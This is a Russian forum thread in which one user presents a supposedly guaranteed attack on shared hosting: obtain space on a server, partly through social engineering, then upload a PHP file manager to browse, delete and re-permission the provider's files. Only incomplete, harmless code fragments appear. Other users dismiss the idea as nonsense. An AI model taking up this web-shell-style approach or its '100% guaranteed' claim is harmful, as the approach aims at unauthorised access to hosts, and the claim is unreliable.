Взлом через PHP-скрипт
[вниз]
21.02 17:24:51 Unknown77 (off)
Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать. В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов. Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять,
21.02 17:25:36 Unknown77 (off)
просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:
21.02 17:26:00 Unknown77 (off)
<?php //говорим что это PHP скрипт
function cmp( $a, $b ) //обьявляем функции
{ GLOBAL $sort; //сортируем полученные функции
if( $a->inode == $b->inode )
return 0;
switch( $sort ) //объявляем, что по каким функциям будет сортироваться
{ case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type­, $b->type);
case "view":
return strcmp($a->view­, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->grou­p, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owne­r, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
} } function getIcons( $ext ) //объявляем функцию сопоставления иконки с типом файла
21.02 17:27:03 Unknown77 (off)
{ switch( $ext )
{ case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
} return $IMG="<IMG SRC='icons/".$f­ile.".gif'>";
21.02 17:28:28 Unknown77 (off)
} class MyFile { //объявляем какие данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;
function set( $filename, $path )
21.02 17:29:37 Unknown77 (off)
В общем вот файл
21.02 17:31:37 Unknown77 (off)
Вот файл,

+ php.txt (11.2КБ - скачано 46 раз)
Как взломать php
23.02 17:17:19 Proton (off)
Бугг! Да еслиб на сайт жертвы можно было скинуть файл PHP и запустить его, то этот скрипт вовсе не обязателен. Достаточно по рекурсии удалить файлы или заменить их на ссылку, текст. А что делает этот твой файл, хотелось-бы знать.
23.02 19:56:47 Unknown77 (off)
Эт не мой файл. В инете докопался до этого. Думал может есть полезность
28.02 21:46:13 Soros (off)
код просмотрел мельком, пока страницу листал-попахива­ет бредом. Если бы было можно так лихо закинуть файл на сервер, и снять с него все ограничения на действия, то есть стопицот более удобных и надежных способов воспользоваться этим. И не совсем ясно, как связанна покупка домена с этим всем)
[вверх]
К темам
Разделы

Сейчас здесь: 1 онлайн

Вы вошли как не зарегистрированный пользователь! Форум доступен только в режиме чтения!
© wml.su 2006-2011 | 0.03436 sec.